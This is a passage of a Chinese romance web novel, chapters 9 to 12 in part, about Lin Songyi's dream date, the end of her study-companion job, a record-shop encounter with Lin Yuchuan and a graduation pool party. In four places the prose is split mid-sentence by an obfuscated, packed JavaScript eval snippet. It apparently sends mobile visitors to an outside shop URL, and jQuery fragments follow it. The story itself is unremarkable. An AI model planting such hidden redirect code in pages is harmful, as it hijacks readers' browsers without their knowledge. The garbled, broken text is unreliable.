同款不同色的两支电动牙刷,边上紧贴着两个同款漱口杯,整齐码放在架子上的护肤品中间,大摇大摆躺着一只电动剃须刀。
杂而不乱,很有生活气息。
洗手的时候,林颂宜有些感慨,还得是自己亲自做梦,才能梦到如此合心意的房子。
那今天的梦境任务又是什么呢?
暂时想不透,林颂宜决定顺其自然。
***
晶莹剔透的虾饺透着淡淡蔷薇粉,皮薄馅大,Q弹表皮韧劲十足,虾仁嫩滑笋丁爽脆,咸淡适宜,虾仁的腥气被剔除的很干净,余味鲜甜。
温热的食物入口,汁水在口腔迸发,林颂宜满足地微眯了一下眼睛。
现实生活中,林颂宜曾在口腹之欲上有过极致压抑,导致后来就跟逆反了似的,她对食物也产生了极致的挑剔。
大部分时候,林颂宜能很好克制住这种本能,正常吃饭补充能量,只偶尔在情况允许的时候,她会放纵自己。
梦里这顿饭她吃的很开心,每一口都能吃出食材的新鲜,每一样食物都呈现出它们应有的味道。
干干净净,清清爽爽。
她吃得太专注,没有注意到,付绪然面前从始至终都只放了杯清水,中途几次举筷,也都只是为她夹菜。
“你不吃吗?”食物还有大半,见付绪然面前干干净净,林颂宜有些莫名。
“吃好了?”付绪然不答反问。
手放在胃部感受了一下,林颂宜点头:“好了。”
“那你去边上坐着休息,水果在冰箱,要吃什么挑出来我给你弄。”顺手收起桌上的餐盘,付绪然开始做善后工作。
半晌没听到动静,付绪然扭头,见林颂宜正撑着下巴往这边巴望。
她身上穿着一件米色圆领针织半袖,材质很柔软,贴合着清瘦的身形,身上没有多余的装饰,为了在医院方便做事,长发被她绾成低马尾,一夜的忙乱,这会儿发型已经不再干练整洁,有些许碎发从鬓侧散下来。
见她不说话,就这么看着自己,付绪然挑眉,故意问她:“怎么?帅到你了?”
林颂宜:“……”
“本来想尽点陪伴义务,看来是我想多了。”她作势要起身,却被付绪然快人一步按在原地。
额头被抵住,眼前是付绪然骤然放大的帅脸,林颂宜听到他叫自己:“林颂宜。”
“嗯?”
“想亲你。”
“?”
比付绪然更快的,是林颂宜捂嘴的手,亲吻落到她手背上,滚烫灼人。
开玩笑,刚吃过东西,亲什么亲?
“……”付绪然被她气笑,吸气平复了一下,用自己的额头轻轻磕了一下林颂宜,站直身体开始赶人,“去沙发坐着。”
“哦。”
***
整个人倚进宽大柔软的云朵沙发,林颂宜舒展四肢做了个深呼吸。
好舒服。
下一秒,手机不合时宜响起提示音。
【参考文献.zip】
【参考文献.zip】
【临床影像.zip】
【近年比较有代表性的参考文献都在这。】
【临床影像部分,有时间可以多看看,细节会更直观。】
【有需要随时找我。】
看到信息内容,林颂宜解锁梦境提示,她最近刚申请到一台胰十二指肠联合切除,难得有这样观摩学习的机会,需要提前做些准备,所以向师兄请教了一些经验。
视线缓缓上移,林颂宜看到了备注。
【孟师兄】。
脑子里对此人毫无印象。
大概是个剧情工具人。
今天的任务难不成是要学完这些东西?
连做梦都逃不开看文献。
毁灭吧。
她皱着眉迟迟不肯点开文件,没发现付绪然端着水果走过来。
“怎么了?”
“不想学习。”
“那就先不学了。”
付绪然从她手里抽走手机,扫了眼满屏压缩包的对话,直接暗灭屏幕将手机放到一旁。
“不急于一时,来,吃水果。”
见林颂宜摆手,他也不勉强,将果盘放到林颂宜能够得到的地方,伸手揽过她的肩膀,让她靠得更舒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026391|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
服一些。
“放松一下?”
林颂宜不解:“什么?”
手里被塞进一个游戏手柄,幕布缓缓落下,是一款双人竞技游戏,很考验操作手速和思维变通,网友戏称其为【分手大爆炸】。
两人之前才玩到第三关。
“要开始吗?”付绪然问她。
拒绝学习,梦境没有崩塌,看来这个梦并不是强制要自己学习。
林颂宜选择躺平:“开始吧!”
只要不是强制学习,做什么都可以!
虽然现实她是个游戏废,但梦里可是个游戏小达人!
十分钟后。
林颂宜想撤回那句【做什么都可以】。
付绪然通关五个关卡,在这一关终章朝着她招手的时候,林颂宜还在第二关徘徊。
游戏水平被人如此碾压,林颂宜不信自己操作能差成这样,一定是有人使诈!
“你是不是偷看通关攻略了?”她扭头看付绪然,眼里满是怀疑。
付绪然:“……?,我说没有,你信吗?”
顶着林颂宜“你看我信吗?”的眼神,付绪然高举双手做投降状:“我发誓,真没有。”
不说还好,他一发誓,林颂宜那该死的胜负欲又上来了。
“再来!”
重开一局,林颂宜投入全部心神,大脑飞速计算,手眼配合,摒弃一切外界声音。
“一一……”
“你不许说话!”
“……”
“砰”的一声!厂房爆炸,游戏重开。
林颂宜:“……”
不是,这游戏怎么还带同归于尽的结局呢?
她的表情过于茫然,惹得一旁憋笑半天的付绪然大笑出声,但很快,他就笑不出来了。
怒从心头起,恶向胆边生,林颂宜一个翻身,掐住了这个在自己梦境主场放肆的人。
“我要沙了你!”
“唔……”
倒也没有真下死手,她只是不想相信自己的游戏操作,竟然如此的废柴。
付绪然被她冲得仰倒在沙发上,嘴上讨饶:“对不起,我错了。”眼里却满是笑意。
眼角飞扬,他笑得开朗疏阔,好似画报立绘,亮眼又招摇。
他将挂在自己脖子上的两只手拢进掌心,和她解释:“我的错,没有提醒你,这游戏上周刚更新过,倒计时结束前,如果两人中没人通关,就默认一起闯关失败。”
刚才一时激动,林颂宜直接跨坐到他身上,此刻安静下来,大腿内侧能够清晰感受到对方腰腹的力量和热度,冲动一时爽,林颂宜这会儿是真有点骑虎难下了。
她有些不自在地想抽回手,往回扯了两次都没成功,刚熄灭的小火苗眼看又要复燃,一抬眼,对上了一双潋滟水眸。
沉默开始蔓延,彼此的呼吸声重到清晰可闻,林颂宜想起身撤退,却被人拦腰揽进怀里。
她退,他进。
来回拉扯,有心者胜出。
男人眼里那沉甸甸的情意,重的叫林颂宜不敢直视,蝴蝶颤巍巍垂下蝶羽,一点暗影落到鼻梁上,热源靠近,唇上触碰到一抹柔软。
在震颤的心跳声中,林颂宜清晰听到:“一一,闭眼。”
热流涌动。
天光大亮。
10. 第10章
身体里有热流汩汩涌出,脑子霎时间恢复清明,林颂宜被身上的异样惊醒,顾不上小腹处传来的坠痛,趿着拖鞋直直往浴室冲去。
洗完澡又重新换好衣物,林颂宜窝在沙发上只觉难受的厉害,勉强喝了点热水润喉,慢吞吞移到行李旁,找出提前备好的止痛药迅速吞下,倒回沙发缓了好一会儿,才觉得舒服些,客房保洁已经取走脏污的衣物和床品,不一会儿,又贴心地为林颂宜送来一个暖水袋,感受着下腹处的舒适,林颂宜感慨这家酒店贵有贵的道理。
单看服务就很贴心。
这一通折腾下来,她现在只觉浑身绵软无力,再无半点梦里的活力劲,而时间也已经过去四十分钟。
这次的经期提早了一些,也不知道是不是这个原因,最近的梦境才会变得频繁,梦里还尽是些春情肆意的场面。
想起昨晚那个梦,林颂宜简直是越想越气,都做梦了,怎么自己的游戏水平还是那么烂?
简直离谱!
又想到那已经忆不起模样的男友,被她胡搅蛮缠一通,还能好言好语全盘接下,果然是梦里才会有的场景。
乱七八糟想了一通,身体的难受劲得到缓解,林颂宜也重新恢复理智。
接下来两天暂时没有安排,她准备趁着这个时间,再细化一遍答辩资料,等李清越结束旅途,再一起踏上返程。
眼看陪读工作接近尾声,林颂宜暗暗提醒自己多上心,争取尽善尽美结束这段合作。
想到回国前,还有一堆事情待处理,林颂宜打开手机,打算先将整理好的部分闲置物品挂出去。
半卖半送,消息刚发出去没多久,群里就陆续有人出来询问,林颂宜挨个进行回复,忙得差不多后她退出群聊,点开微信,在一堆红点中,看到了早前付绪然发来的信息。
看时间,是她刚醒没多久那会儿。
当时她在浴室关着门,隔音好,手机又被枕头压着,没能听到消息提示。
没想到对方也起得这样早,林颂宜赶忙点进对话查看信息。
【下周四回国,你这边时间可以?】
【有变动可以提前和我说。】
【到时候派司机去接你们?】
看对方这语气和行事,林颂宜默默推翻了对付绪然的初印象,没想到他只是看着高冷,私下里处事却很周到细致,林颂宜想她一个蹭座的,能有什么不可以?
【没有问题!】
又想到时候是和李清越她们一块走,要不要司机来接这事,她自己不好独断,干脆顺着回复。
【谢谢大佬.jpg】
原以为对方只是例行通知,没想到付绪然很快又回了消息。
【行,到时候保持联系。】
林颂宜:“……”
豪门二代做事果然滴水不漏。
好歹自己是受益者,不能让人家最后一句话掉地上,林颂宜扒拉出一个表情包,点击发送。
【猫猫感谢.jpg】
***
因着身体原因,林颂宜放纵自己躺了大半天,傍晚的时候,她的精气神终于恢复大半。
林颂宜从床上爬起来,掏出电脑开始整理资料,顺带调整答辩需要用的PPT。
相关内容早已烂熟于心,剩下的无非就是格式调整和细节优化,除了需要耐心,耗费不了多少脑子,现下时间也充裕,林颂宜做起这些得心应手。
晚餐叫得客房送餐,但林颂宜没什么胃口,气味浓厚的奶油蘑菇汤她只尝了两口,干巴餐包倒是吃了不少。
填饱肚子,林颂宜在脑子里慢慢盘算着回国后的安排,上周已经和实验室那边确认好入职时间,房子也已经拜托好友帮自己留意,也不知道找得怎么样了。
又算了算手里的积蓄,这些年省吃俭用,加上这回省下的机票钱,她手里的存款,应付完回国后的租房等一系列大开销,剩余的足够她过完前几个月的实习期。
后续工资提上来,日常开销应该就不成问题了。
时至今日,她依旧穷得很稳定。
这几年,学业占据林颂宜的大部分时间,空余的时间也全都在做陪读这份工作,为此,她几乎放弃了私有娱乐时间。
李家开的工资足够支付她的学费和生活开销,但要再想攒下存款就有难度了。
林颂宜自知不是天才,有限的精力被诸事分配,她并不能每次都争取到奖学金。
好在现如今又要迎来新的开始。
对未来的憧憬,对冲了一部分压力,林颂宜紧绷的神经终于能稍稍放松一些。
想到好友为着自己的事尽心尽力,林颂宜准备趁着这两天有时间,去给她挑一份合心意的礼物。
休息的时候,时间总是过得很快,林颂宜撑着精神做好一系列规划,丢开电脑也懒得收拾,难得放纵惰性主导脑子,趴在床上玩了会手机,任凭碎片化的泛娱乐信息冲击大脑。
生理期大量失血带来的疲惫,很快又将她拽进深度睡眠。
一夜无梦。
***
第二天,林颂宜刚走出房门,就接到李清越的电话,原以为是和她确认回程时间,没成想是另有安排,那边只说回程时间待定让她自己先行回去。
林颂宜按照李清越提的要求,上楼替她整理行李,等收拾好之后,又找酒店调车将行李送到李清越今晚的下榻处。
有未婚夫陪同,李清越没让林颂宜过去,等一切忙完,林颂宜才得以走出酒店去往藏品店。
距离并不算远,走路大概二十分钟就能到目的地。
推开门,店内唱片机里传出的声音瞬时变得清晰。
温暖柔和的声调中透着轻微的沙沙声,那点底噪并不会让人觉得烦躁刺耳,反而多了些岁月沉淀后的醇厚,前奏轻柔的爵士乐缓缓流淌,似朦胧轻纱环绕住店内驻足的每一位旅人,轻曼又灵动。
林颂宜仔细回想着好友的喜好,和老板详细说了一遍需求,对方起身去替她找寻合适的唱片。
她不太懂这些,专业的事情就交给专业的人好了。
等待的间隙,林颂宜在店内四处转了一圈。
自然光透过橱窗洒进室内,昏黄的光线很柔和,配合着店内的灯光,明暗交错朦胧一片,从热闹的街区转入这家店,恍惚间让人误
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026392|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以为自己闯入的是一方时空通道。
岁月模糊,光影重叠。
各类唱片被整齐地码放在展示架上,刚才和老板沟通的时候,对方信誓旦旦保证,一定会在这数万张唱片中,为林颂宜朋友挑出合心意的礼物。
不知道内行的行家看到这些作何感想,林颂宜当下确实是没什么感觉,只是觉得干站着无聊,四处转转,等待的时间能过得快一些。
也不知道老板是如何想的,偌大一家店,完全没有为顾客着想的意思,连个坐的地儿都没有。
林颂宜随手拿起一张唱片,老旧斑驳的封面上,印着她全然陌生的名字,塑封壳上嵌着岁月镌刻过的痕迹,歌手的面容也已经有些模糊,她放弃看清更多内容,转而将视线投向门口。
帘动风起,门口的小铃铛发出一声脆响,有新客进门。
四目相对。
林颂宜自然地错开视线,转而看向店内通往二楼的楼梯口,也不知道店主找没找到自己想要的东西。
虽然只是一个照面,李颂宜还是看清了对方的脸,是付绪然的队友,那个有过一面之缘的男生,叫什么她倒是不清楚。
林宇川的视线在店内找了一圈,也没见到老板模样的人,他将目光放到店内唯一的活人身上,问道:“好巧,老板这会儿不在吗?”
林颂宜:“?”
林宇川的语气太过熟稔,以至于林颂宜都愣了一下,她不记得自己和对方有过交集,但她反应很快,伸手指向楼梯口,礼貌笑道:“在楼上找东西,应该快下来了。”
林宇川对这个敢崩顾澜封的女生印象深刻,看外表安安静静,没想到下手那么利索,打那小霸王的时候,半点不带犹豫。
着实是……勇气可嘉。
见她刚才那反应,八成是不认识自己,林宇川主动上前,自报家门:“林宇川,上回在靶场我见过你。”
原来他叫林宇川,林颂宜心下了然,回以应有的礼貌:“林颂宜。”
林宇川一笑,那双桃花眼又深邃几分:“好巧啊,本家。”
“好巧。”林颂宜也笑,转而解释道,“那天人多我也没注意,刚才没认出来,抱歉。”
林宇川倒是毫不在意,笑着回她:“这有什么好抱歉的,你也喜欢这些?”
林颂宜摇头:“给朋友带个礼物。”
不好就这么干巴地站着,林颂宜反问他:“你呢?”
“凑巧来这边办点事,受人之托来拿张唱片。”
二人正说着,老板慢悠悠从楼上晃下来,举着手里那张黑胶唱片,冲着林颂宜得意道:“我想你朋友一定会喜欢,她和我一样,拥有着绝佳的品味。”
林颂宜道谢,付了钱,从老板手里接过唱片。
见他俩交割完毕,林宇川才上前一步和老板说明来意,小老头听罢,又慢腾腾往楼上走去。
林颂宜不欲多做停留,和林宇川打了声招呼就准备离开,她刚搭上门把手,又被林宇川叫住。
“等一下。”
林颂宜回头。
男人冲她露出个灿烂的笑,问道:“可以加个联系方式吗?姐姐。”
11. 第11章
【姐姐,可以帮我参考一下吗?】
【照片】
【姐姐觉得这个组合好看吗?】
【猫猫挠头.jpg】
自从两人在藏品店加上联系方式,林宇川的自来熟本质就不藏了。
这两天听他姐姐长,姐姐短地叫,林颂宜从一开始的不自在,到现在已经适应良好。
算了,一个称呼而已。
这已经是他第三次主动发来信息,坦白说,林颂宜看不懂对方的操作,她也很确定林宇川没有别的意思。
大抵真是他性情如此,这世上确实有一部分人,天生就善于交际,喜欢交朋友,不拘泥于身份地位。
林颂宜点开那张照片,是一捧尚未经过包装的花束。
粉白和淡紫色的鲜花组合,布局错落有致,种类繁多但杂而不乱,大都是她叫不出名字的花材,光看着就知道很贵,白色郁金香做了翻瓣造型,和绿叶一起用作点缀,锦上添花。
配色浓淡相宜,清新雅致。
以林颂宜的审美,对这束花实在挑不出什么错漏,她如实回答。
【就我的审美来说,很好看。】
【猫猫点赞.jpg】
那边很快回复。
【那就好。】
【猫猫得意.jpg】
另一边,某休息室内,林宇川正搭着长腿坐在一旁的沙发上发呆,手机长久不再发出动静,他脸上的表情变得有些疑惑。
根据以往的社交经验,对方不应该如此冷淡才对,到底是哪里出了问题?
“让开。”
想的太投入,林宇川没注意到他的姿势挡了别人的道,直到孟庭旭出声,他才回过神赶忙将腿规矩收好。
“旭哥,你说然哥到底是怎么想的?”
比赛结束当天,众人商量着一块去靶场玩两天,付绪然明明已经拒绝邀请,结果第二天一早,又上赶着去凑热闹,还临时调用了三辆房车分头接人,结果傍晚又一声不吭跑回市区。
最可疑的是,当天临走前,付绪然还特意告诫顾澜封,叫他别挑事。
林宇川从小就佩服付绪然这个哥哥,他们这些人,向来不做无用功,对于付绪然这次略显怪异的行为,林宇川实实在在生出了好奇心。
他琢磨半天,觉得这其中唯一可疑的变数,就是那个叫林颂宜的女生。
可要说付绪然对这个女生有什么想法,林宇川是不信的,这俩人根本就不是一个世界的人。
他倒也不是想做什么,和林颂宜的偶遇也真的只是意外,只是在那个当下,好奇心战胜了理智,林宇川决定近距离观察一番。
然而事情并不如他想的那样顺利,添加上联系方式后,他再三示好,对面却依旧像块木头,始终保持着疏离。
也不能说对方做的不对,但就是很明显能感觉得到,林颂宜并不想随便和谁有牵扯。
林宇川自己想不通,就想找个盟友一起来解密。
然而事与愿违,孟庭旭压根不想搭理他,听他说完全部事情后,开口就是警告:“你不要多事。”
林宇川不以为意,但他也没反驳,他的直觉告诉他,这背后有大秘密。
再者,他对林颂宜的感官也不错,如果真是自己想多了,那就当是多认识个朋友,反正也没什么损失。
***
李清越从楼上下来,见只有林颂宜一个人在,问她:“都好了?”
顺手将手机揣进兜里,林颂宜抬头:“嗯,之后有什么问题,吴助会再联系我。”
这是她陪读生涯的最后一天,在这之后,她和李家之间将不再有雇佣关系。
今天过来主要是交接剩余的工作,李家大哥前两天已经提前安排人来接管,以便回国后李清越可以更快上手。
李家父母和大哥将于今晚抵达A国,明天全家人都会来参加毕业典礼,结束后一家人再一块返程。
毕竟做了这么多年的陪读,李清越身边的事务,很大一部分都是林颂宜在打理,她需要为自己的工作负责到底。
李清越点头,对林颂宜很放心,也没多问,只递给她一个盒子,笑着说:“打开看看。”
“生日礼物?”林颂宜疑惑,但还是伸手接过,距离今年的生日还有很久,以为是李清越提前送自己,毕竟之后两人想再见也不容易。
“是回礼,也算毕业礼物。”李清越用眼神示意她打开,脸上还带着点期待,“看看喜不喜欢。”
深蓝色的丝绒盒子被打开,里面躺着一条流光溢彩的手链。
橄榄枝造型的底托,上面嵌满剔透闪亮的椭圆型碎钻,看得出切割工艺很讲究。
黑底丝绒将手链衬得愈发熠熠,光线折射,钻面闪出的火彩耀眼夺目。
“太贵重了。”林颂宜将视线从手上移开,“怎么想起送我这个?”
这些年两人相处一直很融洽,李清越虽然大方,但也守着度,送的东西很少超过五位数,林颂宜通通看作是工作之外的奖励,收的心安理得。
但这次明显不一样,她不能收下。
李清越觉得林颂宜这个人,吃亏就亏在太讲规矩,该是她的就大大方方要,只要是她觉得不该是自己的,就算摆在她面前,她也不伸手。
“和你送我的心意相比,这也不算什么。”
临别在即,林颂宜给李清越的分别礼物,是一支定制手环。
数据库会根据李清越的体征实时更新,24小时全天候监测健康,但凡有意外发生,就会及时发布求救信号。
紧急接收人是林颂宜。
李家内部并不太平,林颂宜这份用心,对于李清越来说,可抵万金。
她走上前,双手按在林颂宜的肩上,语气郑重地叫她:“林颂宜。”
“嗯?”
“这条手链价值27万。”27万是包含配货的价格,但大小姐认为这么说完全没问题,“今天从这走出去,是你27岁人生真正的开始。”
她们了解彼此,所以李清越才开了头,林颂宜就明白她想说什么,但她没有出声打断。
李清越推着她转了半圈,让她正面对着大门口,又凑到林颂宜耳边小声说:“送你橄榄枝,不是要你记住什么狗屁恩情,我们之间已经两清,是祝你新生,也是祝你开启新征程,林颂宜,不要让我失望。”
李清越很想知道,她机缘巧合给予过雨露,也行事随意增添过土壤的这棵树,往后最终会长
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026393|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成何种模样。
“还有,如果你以后遇到的人,给不出比这昂贵十倍、百倍的礼物,他就不值得你托付自己。”
“你会登顶的,对吗?”
“……”林颂宜想,原来自己掩饰的还不够好,她第一次在人前大方承认,“我会的。”
“顶峰相见,林颂宜。”
“顶峰相见,李清越。”
踏出李家庄园的那一刻,头顶无形的桎梏土崩瓦解,林颂宜觉得整个人轻松许多。
从现在起,她真正意义上,完整拥有自己的支配权。
往后,大家各有各的路要走。
风霜雨雪本常事,仗剑千山自独行。
***
转眼第二天,两人就在毕业典礼双双相见。
好吧……独行暂停,先一起把帽穗拨了。
也不过是一夜时间,林颂宜却觉得自己的心态好像变了,再次见到李清越,心底全然是对知己的亲近。
“你这样就很好。”李清越果然也是敏锐的,“继续保持住。”
林颂宜回以一笑,仪式结束,人群四散,进入合影留念环节。
李清越和家人聚在一起,林颂宜并不打算凑热闹,她上前和几人简单打了招呼,准备先离开的时候,陈松野和林宇川正好过来。
林颂宜并不惊讶陈松野的出现,但林宇川怎么也来了?
谜底在花束递到她面前时得以揭开,昨天照片里的那捧花,现在以一种包装精美的方式,出现在林颂宜面前。
“姐姐,毕业快乐。”林宇川笑得张扬疏阔,很自然地将花束递给她。
林颂宜看着眼前的场景,心下只觉莫名其妙又隐隐升起警惕。
无论是人,还是花,此时此刻出现在这里,都显得不合时宜。
“好漂亮的花!”李清越拉着陈松野过来找人合照,见到林宇川她也有些惊讶,“你们什么时候认识的?”
林颂宜不答,顺势也看向林宇川,颇有些隔岸观火的架势。
“有段时间了。”避重就轻,林宇川随意转开话题,“来提前体验一下毕业氛围,学姐们……”他将视线转向林颂宜,脸上笑容加深:“不介意吧?”
“一束花送两个人,我很难不介意哦。”李清越也笑,眼里有满满的打趣。
“这我可不敢乱送。”林宇川意有所指,睇了眼抱着大束捧花的陈松野。
“清越学姐有的是人送花,不差我这一束,但我也不好空手来,林学姐。”他顺势将花束递出去,“毕业顺利。”
林颂宜也笑,人都这么说了,她再扭捏就不合适了。
“谢谢,花很漂亮。”
李清越拉着林颂宜拍合照,陈松野的拍摄水平惨遭嫌弃,林宇川自告奋勇。
不得不说,林宇川的拍摄水平堪称专业,无论是构图还是光影都处理的很好,完全可以原图直出。
学校里的事情处理的差不多后,李家大哥陪同父母先行离开,有陈松野在,他们很放心。
李清越拉着林颂宜,一行四人奔赴聚会场地。
一下车,林颂宜就后悔了。
热闹果然不能凑。
顾澜封这个瘟神怎么也在这?
12. 第12章
顾澜封今天的打扮,看着倒比之前更像个人,身上那件花衬衫材质松垮飘逸,领口开得有些大,倚着吧台同人举杯,面上神色淡淡,嘴角噙笑,眉眼舒展,抬手的时候,大半锁骨从一侧领口露出,再向下延伸便是一片黑暗。
看不清,但引人遐想。
乍一看,颇有风流恣意少年郎的仪态。
林颂宜移开视线,基于两人此前并不算愉快的交集,现下看到这人,她只觉晦气。
“韫韫她们在那边,走吧。”见林颂宜眉头微蹙着,李清越推着人离开原地。
“安心玩。”李清越凑到她耳边,“我事先不知道他也在,来都来了,咱们玩自己的,不去凑一堆就是了。”
林颂宜笑着回她:“好。”
陈松野这个局攒的着实大了些,现场几十号的人,大半林颂宜都不曾见过。
半道上,林颂宜才知道今天是个高层泳池派对,她本想直接开溜,但李清越太了解她,直言早就做了准备,一句话把人摁下,任由林颂宜万般开脱也不松口。
最后,李清越忍不住问她:“还没开始上班就把自己当骡子啊?不趁现在抓紧玩一场,后头你还能有时间?”
李清越问得掷地有声,林颂宜一想,还真是这么回事。
话说到这份上,林颂宜也不当扫兴的人,想着玩一场也没什么。
徐心荟和温若甯先看到俩人,快步走过来,拉着人去找霍明韫汇合。
说来也巧,温若甯是霍明韫的学妹,徐心荟和霍铭韫是高中同学,一通关系绕下来,发现彼此都是熟人。
四人边走边讨论今天的安排,见她们说得高兴,林颂宜也被勾出几分期待。
顾澜封的视线扫过女生离开的背影,幽冷的眼神暗下几分,边上的人和他说话,他也不理,不知道在想些什么。
少倾,他放下杯子冲几人道:“你们聊。”说罢,也不等其他人有反应,径直离开。
边上的人见他突然冷脸,以为是自己无意说错了话,只能尴尬笑着打起哈哈,目送人走远后,气氛才又恢复热络。
***
露台边,霍明韫看到几人过来,远远冲她们招手,等走到近前,几人都被霍明韫惊艳了一把。
霍明韫的肤色并不白皙,接近九头身的比例,搭配那一身酒红色比基尼,长腿修长有力,腰身纤秾合度,栗色卷发披散在一侧,五官立体偏偏气质又透着冷淡,眼神沉稳又锐利,是一种极具冲击力又很有力量的美。
“哇塞!学姐!你不当超模简直是时尚圈的损失!”温若甯没忍住,上前轻掐一把霍明韫的腰,对比自己的腰围,有些想哭。
减肥大业刻不容缓。
李清越和徐心荟也不吝赞美之词,围着霍明韫夸个不停。
“韫姐。”林颂宜竖起拇指,目不转睛看着对方,真情实感赞美她,“太漂亮了!”
霍明韫可太喜欢她了,伸手一把揽过林颂宜:“走,姐姐给你也打扮打扮。”
另一手拉过温若甯,笑道:“你也别光羡慕,我给你们都准备了,去看看喜不喜欢。”
又转头招呼徐、李二人:“别傻站着,赶紧的。”
霍明韫为林颂宜准备的是一套水蓝色的分体泳衣,挂脖设计,唯一的装饰是胸口的金属卡扣,裙边单侧做了褶皱处理,露出一截腰肢,很雅致的设计,并不暴露,也很适合拍照出片。
林颂宜一米六出头的身高,人长得清瘦,但得益于长期保持锻炼,肢体的肌肉线条十分流畅好看。
今天拍毕业照,她难得化了全妆,想着一会儿要下水,林颂宜换衣服的时候,顺手扎起头发,等她换好衣服出来,外边的三人齐齐看过来。
李清越第一个看不过眼,她上前解开林颂宜的扎发,一边整理嘴上还在吐槽:“你就不能放过你的头发吗?白瞎了这么好的发质,一年都见不了几次光。”直到所有发丝柔顺垂下,她才满意地放下手。
温若甯和徐心荟,一个要给她点腮红,另一个要给她夹睫毛,一通折腾,衬得林颂宜肤色愈发白皙清透,眼睫纤长。
但这还没完。
隔着几步远的距离,霍明韫以一种挑剔的目光打量了一会儿,走上前拿过眼线笔,加深林颂宜眼尾那颗小痣的存在。
林颂宜平时的着装思路其实很正确,她的气质很干净,天然带着亲近感,但就是太干净了,一如此刻,她就站在原地,眼中不含丝毫杂质。
这是她的优势,但假使她自身能量不足,个别时候也会成为劣势。
林颂宜自己也很清楚这些,所以平时在外面,她宁可摆出稍显木讷的模样,也不轻易暴露真性情。
另外几人相互看一眼,李清越开口叮嘱她:“你今天就跟着我们,千万别落单。”
林颂宜一愣,随即反应过来,笑着道:“好,我保证不乱走。”
心下感动于她们对自己的爱护,林颂宜主动开口:“走吧,我给你们做几杯特调尝尝。”她自己不爱喝,调酒的手艺意外地还不错。
***
泳池边的露天高台上DJ正在激情输出,节奏感激烈的乐曲从舞台中央向四周辐射,台下人群攒动,男女自由摇摆舒展肢体。
几人刚走到泳池边,就被打闹的人群滋了一身的水,好在众人都有准备,被偷袭也不算太过惊讶。
眼看又有人蠢蠢欲动想拉人下水,都不是坐以待毙的性格,几人立刻开始反击,林颂宜和霍明韫的躲避动作更灵活些,另外三人就比较惨了。
酣战笑闹一阵,几个人退出人群,径直拿起毛巾擦拭休息。
林颂宜走到吧台边,看了眼台面上现有的存货,一一找到自己要用的酒。
她调酒的手法并不专业,也没有任何花哨的动作表演,相反,她的每一个步骤都很严谨,对于刻度的把握堪比实验研发。
不知情的人,第一眼大概会以为她是在做某种生化实验。
霍明韫几人看得乐不可支,其中以李清越笑得最欢快。
不多时,林颂宜将几杯酒水递到她们面前,依次介绍道:“金酒萃青柠、龙舌兰石榴橙汁、草莓朗姆酒、还有咖啡奶油伏特加,你们应该会喜欢。”
众人:“?”
特调酒是这么取名的吗?
林颂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026394|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宜无奈:“我不太会取名字。”在取名字这一块,她确实没什么天赋,通常是直接按耗材算,说完她自己也觉得好笑,继续找补挽尊,“味道还不错,不信你们尝尝。”
她认真的神情中透着些许心虚,看得几人直发笑。
霍铭韫第一个忍住笑,端起那杯“金酒萃青柠”尝了一口,入口酸甜丝滑,回味清新润喉,竟真意外地好喝。
见霍明韫喝得满足,另外三人也端起酒杯,而后纷纷露出满意神色。
不得不说,不爱喝酒的人,对于酒水味道的层次搭配,有时候反而会更敏锐。
见她们一杯下肚后皆是意犹未尽,林颂宜又给调了几杯,这次不用她介绍,几人玩起了猜成分的游戏。
这边几人玩得开心,中途有人见状也好奇地凑过来,人一多,这个角落就变得热闹起来。
“玩什么呢?也给我们尝尝呗。”
略显耳熟的男声传来,林颂宜顺着声音看向来人,是那天在靶场拦着顾澜封的那个寸头男。
他边上的不是顾澜封又是谁。
霍明韫显然是认识他们的,闻言一点也没惯着,开口直白道:“猜错了自罚三杯,你认吗?”
章唯轻笑:“韫姐你这话说的,不就是三杯酒的事吗?”
